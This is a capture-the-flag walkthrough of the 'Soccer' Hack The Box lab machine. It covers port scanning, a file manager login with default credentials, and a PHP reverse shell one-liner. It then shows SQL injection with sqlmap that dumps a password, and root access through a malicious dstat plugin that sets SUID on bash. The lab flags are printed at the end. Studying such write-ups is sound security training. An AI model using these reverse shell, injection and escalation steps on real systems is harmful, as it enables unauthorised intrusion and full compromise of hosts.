Soccer

Easy Linux HTB box Machine

Reconnaissance

As always we start off with a port scan using Nmap

nmap -p- --open -Pn -n --min-rate 5000 -sS -sCV -oN scan 10.10.11.194
# Nmap 7.95 scan initiated Mon Jul 28 12:12:35 2025 as: /usr/lib/nmap/nmap --privileged -p- --open -Pn -n --min-rate 5000 -sS -sCV -oN scan 10.10.11.194
Nmap scan report for 10.10.11.194
Host is up (0.043s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest:
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139

-- SNIP --

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 28 12:13:03 2025 -- 1 IP address (1 host up) scanned in 27.73 seconds

We see that TCP Port 22 (SSH) | TCP Port 80 (HTTP) are open, we can also notice that this server is using Virtual Hosting to soccer.htb so we add it to our /etc/hosts file

We also check something interesting: The TCP Port 9091 (?) is open which is curious, it gives us a hint for later on exploitation.

Let's start off by enumerating the Web Server using WhatWeb where we will try to enumerate the services and potential attack vectors for later:

whatweb http://soccer.htb
http://soccer.htb [200 OK] Bootstrap[4.1.1], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.194], JQuery[3.2.1,3.6.0], Script, Title[Soccer - Index], X-UA-Compatible[IE=edge], nginx[1.18.0]

We proceed to manually check the webpage with our browser

As we don't seem to find anything useful here, let's perform a directory brute-forcing using GoBuster

gobuster dir -u http://soccer.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -t 200
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://soccer.htb
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htm                 (Status: 403) [Size: 162]
/.html                (Status: 403) [Size: 162]
/.                    (Status: 200) [Size: 6917]
/.htaccess            (Status: 403) [Size: 162]
/.htc                 (Status: 403) [Size: 162]
/.html_var_DE         (Status: 403) [Size: 162]
/.htpasswd            (Status: 403) [Size: 162]
/.html.               (Status: 403) [Size: 162]
/.html.html           (Status: 403) [Size: 162]
/.htpasswds           (Status: 403) [Size: 162]
/.htm.                (Status: 403) [Size: 162]
/.htmll               (Status: 403) [Size: 162]
/.html.old            (Status: 403) [Size: 162]
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
-------- SNIP ---------
Progress: 20598 / 63089 (32.65%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 22403 / 63089 (35.51%)

We found a interesting soccer.htb/tiny directory so let's check that out!

We try with the default H3K Tiny File Manager credentials: admin:admin@123 and success! we logon onto the admin dashboard panel

And we also find that the /var/www/html/tiny/uploads directory is writeable and we we can upload files there! so we upload a Reverse Shell on our shell.php file

Exploitation

php -r '$sock=fsockopen("IP",PORT);exec("/bin/bash <&3 >&3 2>&3");'

We set up our listener with netcat... And we got our reverse shell as www-data done!

nc -lvnp 1336
Listening on 0.0.0.0 1336
Connection received on 10.10.11.194 51998
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 14:14:06 up 52 min,  1 user,  load average: 0.06, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1042): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:/$ 

After further enumeration we don't seem to find any PrivEsc vectors, but we find a interesting file

www-data@soccer:/etc/nginx/sites-enabled$ ls
ls
default
soc-player.htb
www-data@soccer:/etc/nginx/sites-enabled$ 

As we see, there's another site enabled for this web server below the name of soc-player.soccer.htb so we add into our /etc/hosts file as we did earlier and proceed to check whats in there

Seems familiar right? It's almost the same as the soccer.htb dashboard but with some noticeable differences: the Match, Tickets and Logout panels, after enumerating everything and signing up, we realize the server gives us a ticket on the Tickets section

Let's check how this works with BurpSuite

We can see that when we put the correct code it sends "Ticket Exists" to soc-player.soccer.htb:9091

However if we try to perform a basic SQLi using the payload:

{"id":"666 OR 1=1"}
Ticket Exists

Let's try to perform a SQLi attack with SQLMap

sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 --level 5 --risk 3 --batch
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.9.6#stable}
|_ -| . ["]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:35:13 /2025-07-28/

----------- SNIP -------------

available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

[15:35:33] [INFO] fetched data logged to text files under '/home/delorian/.local/share/sqlmap/output/soc-player.soccer.htb'

[*] ending @ 15:35:33 /2025-07-28/

We see that we can enumerate some databases, but we're interested on the soccer_db one so let's try and check what's inside

Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

And we found the password for the username player !! Let's try and login using SSH

ssh player@soccer.htb
player@soccer.htb's password: PlayerOftheMatch2022
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

Privilege Escalation

As we successfully logon with the user player, let's try and find a way to escalate our privileges to root

player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
player@soccer:~$ sudo -l
[sudo] password for player: 
Sorry, user player may not run sudo on localhost.
player@soccer:~$ find / -perm -4000 -ls 2>/dev/null
    70968     44 -rwsr-xr-x   1 root     root        42224 Nov 17  2022 /usr/local/bin/doas
    18263    140 -rwsr-xr-x   1 root     root       142792 Nov 28  2022 /usr/lib/snapd/snap-confine
     7696     52 -rwsr-xr--   1 root     messagebus    51344 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    14300    464 -rwsr-xr-x   1 root     root         473576 Mar 30  2022 /usr/lib/openssh/ssh-keysign
    16207     24 -rwsr-xr-x   1 root     root          22840 Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1
     7700     16 -rwsr-xr-x   1 root     root          14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
     1753     40 -rwsr-xr-x   1 root     root          39144 Feb  7  2022 /usr/bin/umount
     2093     40 -rwsr-xr-x   1 root     root          39144 Mar  7  2020 /usr/bin/fusermount
     1752     56 -rwsr-xr-x   1 root     root          55528 Feb  7  2022 /usr/bin/mount

------------ SNIP --------------

     1166     39 -rwsr-xr-x   1 root     root          39144 Feb  7  2022 /snap/core20/1695/usr/bin/umount
     1255     51 -rwsr-xr--   1 root     systemd-resolve    51344 Oct 25  2022 /snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
     1627    463 -rwsr-xr-x   1 root     root              473576 Mar 30  2022 /snap/core20/1695/usr/lib/openssh/ssh-keysign
player@soccer:~$ 

We found a weird binary with SUID 0: /usr/local/bin/doas so let's check it using man doas

•   The config file /usr/local/etc/doas.conf could not be parsed.
     •   The user attempted to run a command which is not permitted.
     •   The password was incorrect.
     •   The specified command was not found or is not executable.

SEE ALSO
     su(1), doas.conf(5)

We can see it points to the /usr/local/etc/doas.conf as the configuration file so let's check that also

player@soccer:/usr/local/etc$ cat doas.conf
permit nopass player as root cmd /usr/bin/dstat
player@soccer:/usr/local/etc$

As we can see this file also points out to another file, in this case /usr/bin/dstat lo let's do man dstat

FILES Paths that may contain external dstat_*.py plugins:

----- SNIP -----

PLUGINS
While anyone can create their own dstat plugins (and contribute them) dstat ships with a number of plugins already that extend its capabilities greatly. Here is an overview of the plugins dstat ships with:

----- SNIP -----

~/.dstat/
(path of binary)/plugins/
/usr/share/dstat/
/usr/local/share/dstat/

------ SNIP -----

We can see we can create our own plugins in order to escalate our privileges, so let's write a malicious Python plugin on /usr/local/share/dstat

echo 'import os; os.system("chmod u+s /bin/bash")' > /usr/local/share/dstat/dstat_pwn.py


-------- EXECUTE THE PAYLOAD WITH doas ----------

player@soccer:/usr/local/share/dstat$ doas /usr/bin/dstat --root
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
Module dstat_root failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
player@soccer:/usr/local/share/dstat$ bash -p
bash-5.0
whoami
root

------ RETRIEVE BOTH FLAGS!!! ------------

bash-5.0
cat /root/root.txt
bfef435d28f941a5913079bfd6a7ea7a
bash-5.0
cat /home/player/user.txt
4073453b05e9902332f3820e814ddbc7

Hope you liked this write-up and see you next time!

Last updated